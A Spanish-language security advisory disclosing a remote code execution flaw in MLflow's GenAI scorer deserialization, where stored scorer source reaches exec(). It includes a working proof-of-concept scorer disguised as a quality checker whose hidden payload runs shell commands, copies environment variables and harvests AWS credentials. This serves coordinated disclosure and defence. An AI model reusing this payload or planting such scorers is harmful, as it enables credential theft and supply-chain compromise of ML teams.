Autor: Evan Harris
Riesgo: Alto
Componente afectado: scorers de GenAI de MLflow (mlflow/mlflow)

Resumen

El mecanismo de deserialización de scorers de GenAI de MLflow contenía una vulnerabilidad de ejecución remota de código. La utilidad recreate_function() en scorer_utils.py pasaba datos de scorer controlados por el atacante (almacenados en la base de datos de seguimiento de MLflow) directamente a exec() de Python. Un scorer malicioso registrado por un usuario ejecuta código arbitrario en la máquina de cualquiera que posteriormente lo recupere y lo ejecute, lo que hace posible un ataque de cadena de suministro sobre todo un equipo de ML. Notificamos el problema a los mantenedores de MLflow, quienes lo corrigieron restringiendo el registro y la carga de scorers personalizados a entornos controlados por Databricks. Los usuarios deben actualizar a MLflow 3.5.2 o posterior.

Un problema distinto en MLflow, divulgado el mismo día, se trata en Exfiltración y destrucción de datos en MLflow por falta de validación de Origin (DNS rebinding).

Antecedentes

El módulo GenAI de MLflow permite a los equipos definir scorers, funciones de Python que evalúan la calidad de las salidas de un LLM (comprobaciones de longitud, seguridad del contenido, formato, etc.). Los scorers se pueden escribir con el decorador @scorer, registrarse contra un experimento y recuperarse posteriormente por nombre con get_scorer() para que los colegas puedan reutilizar una evaluación compartida.

Para que esto funcione, MLflow serializa la función subyacente del scorer y la almacena en la base de datos de seguimiento. Cuando se recupera el scorer, MLflow reconstruye la función a partir de esos datos almacenados. El paso de reconstrucción es donde residía la vulnerabilidad: el código fuente serializado se reconstituía llamando a exec() de Python, que ejecuta cualquier código que se le proporcione. Como los datos almacenados están completamente controlados por el atacante, cualquiera que pudiera registrar un scorer podía plantar código que se ejecutaría dentro del proceso de otro usuario.

Visión general

La vulnerabilidad se desencadena a lo largo de una única cadena de llamadas de deserialización que termina en exec():

%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
    A[Attacker authors malicious @scorer
with payload hidden in the body] --> B[Distributed via PyPI, GitHub,
or shared Python module] B --> C[Victim imports and registers
the scorer with MLflow] C --> D[Serialized function stored in
tracking database] D --> E["get_scorer(name, experiment_id)
registry.py:571"] E --> F["Scorer.model_validate()
base.py:222"] F --> G["_reconstruct_decorator_scorer()
base.py:298"] G --> H["recreate_function()
scorer_utils.py:131"] H --> I["exec(attacker_source)"] I --> J[Remote Code Execution
in victim process] style A fill:#ffebee style B fill:#ffebee style C fill:#fff3e0 style D fill:#fff9c4 style E fill:#fff9c4 style F fill:#fff9c4 style G fill:#fff9c4 style H fill:#ffcdd2 style I fill:#ffcdd2 style J fill:#ffcdd2

La cadena de llamadas es:

mlflow.genai.scorers.get_scorer()
  → Scorer.model_validate()        # registry.py:571
  → _reconstruct_decorator_scorer() # base.py:222
  → recreate_function()             # base.py:298
  → exec()                          # scorer_utils.py:131  ← REMOTE CODE EXECUTION

Escenario de ataque

  1. Un atacante escribe un scorer que parece legítimo (un “verificador de calidad” con un docstring creíble) pero oculta una carga maliciosa en el cuerpo de la función.
  2. El atacante distribuye el scorer a través de un canal en el que la víctima confía: un paquete de PyPI, un repositorio de GitHub del equipo o un módulo de Python compartido.
  3. Una víctima importa el scorer y lo registra en MLflow. La función serializada se escribe en la base de datos de seguimiento.
  4. Más tarde, posiblemente en una máquina distinta, por un miembro distinto del equipo, días o semanas después, alguien recupera el scorer con get_scorer() y lo usa.
  5. Durante la deserialización, recreate_function() llama a exec() sobre el código fuente almacenado. La carga oculta se ejecuta con todos los privilegios del proceso de la víctima.

Como el disparador está desacoplado en el tiempo y entre usuarios del registro, el ataque es silencioso: un único scorer malicioso registrado una sola vez puede comprometer a todos los miembros del equipo que lo descarguen después.

Prueba de concepto

El scorer malicioso a continuación se presenta como un verificador de la calidad de las salidas. El cuerpo contiene una carga que deja un archivo marcador, exfiltra variables de entorno y recolecta credenciales de AWS antes de devolver un resultado plausible para evitar sospechas:

from mlflow.genai.scorers import scorer

@scorer
def quality_checker(outputs):
    """
    Quality checker for LLM outputs.

    Validates that outputs meet quality standards:
    - Minimum length requirements
    - No offensive content
    - Proper formatting

    Returns:
        bool: True if output passes quality checks
    """
    # MALICIOUS PAYLOAD HIDDEN BELOW
    import os

    # Create proof file
    os.system('touch /tmp/rce_supply_chain.txt')
    os.system('echo "COMPROMISED VIA SUPPLY CHAIN" > /tmp/rce_supply_chain.txt')

    # Exfiltrate environment variables
    env_data = dict(os.environ)
    with open('/tmp/exfiltrated_env.txt', 'w') as f:
        f.write("EXFILTRATED ENVIRONMENT:\n")
        for key, value in list(env_data.items())[:10]:
            f.write(f'{key}={value}\n')

    # Harvest AWS credentials
    aws_creds_path = os.path.expanduser('~/.aws/credentials')
    if os.path.exists(aws_creds_path):
        with open(aws_creds_path, 'r') as f_in:
            with open('/tmp/aws_credentials_stolen.txt', 'w') as f_out:
                f_out.write(f_in.read())

    # Return a valid result to avoid suspicion
    return len(outputs) > 10

La víctima recupera el scorer compartido como lo haría normalmente:

import mlflow
from mlflow.genai.scorers import get_scorer

# Different machine, different user, or days later
mlflow.set_tracking_uri("sqlite:///mlflow_tracking/mlflow.db")

scorer = get_scorer(name="quality_checker_v1", experiment_id="1")

Y luego lo usa:

result = scorer(outputs="This is test output to evaluate")

En este punto se dispara la RCE y la carga se ejecuta en el proceso de la víctima.

Impacto

Según la carga que lleven los datos no confiables del scorer, un atacante puede:

  • Ejecutar código Python arbitrario con todos los privilegios del proceso de la víctima
  • Exfiltrar datos sensibles como credenciales, variables de entorno y código fuente
  • Recolectar credenciales de ubicaciones habituales (AWS, Docker, SSH)
  • Establecer persistencia en la máquina de la víctima
  • Realizar movimiento lateral y reconocimiento de red

El impacto se ve amplificado por la naturaleza de cadena de suministro de la falla: un único scorer malicioso registrado por un solo miembro del equipo puede comprometer a todos los usuarios que lo recuperen después, y el disparador ocurre de forma silenciosa mucho tiempo después del registro.

Respuesta de MLflow

Después de que divulgáramos el problema a través del proceso de divulgación coordinada de MLflow, los mantenedores lo abordaron en la pull request #18493.

En lugar de intentar aislar en un entorno controlado (sandbox) o validar el código fuente deserializado, los mantenedores eliminaron la capacidad peligrosa fuera de entornos controlados: el registro y la carga de scorers personalizados basados en código ahora están restringidos a entornos de seguimiento de Databricks, donde el conjunto de usuarios que pueden subir scorers está controlado. A los usuarios de otros backends de seguimiento se les orienta hacia alternativas más seguras, como los scorers integrados y los scorers basados en make_judge(), que no requieren la ejecución de código arbitrario durante la deserialización.

La corrección se publicó en MLflow 3.5.2.

Recomendaciones

Para usuarios finales

  • Actualice a MLflow 3.5.2 o posterior.
  • Registre y recupere scorers personalizados únicamente desde fuentes en las que confíe plenamente.
  • Trate los datos de scorer de una base de datos de seguimiento como código no confiable, no como datos inertes. Cualquiera que pueda escribir en el almacén de seguimiento puede ejecutar código en todos los consumidores.
  • Prefiera los scorers integrados o los scorers de make_judge(), que no ejecutan código arbitrario durante la deserialización.
  • Restrinja el acceso de escritura a las bases de datos de seguimiento compartidas y revise los scorers antes de reutilizarlos en un equipo.

Cronología

Fecha Evento
20 de octubre de 2025 Vulnerabilidad notificada a los mantenedores de MLflow mediante divulgación coordinada (issue #18404)
24 de octubre de 2025 MLflow fusiona la corrección (PR #18493), publicada en la v3.5.2
8 de enero de 2026 huntr marcó el problema como duplicado
8 de junio de 2026 Divulgación pública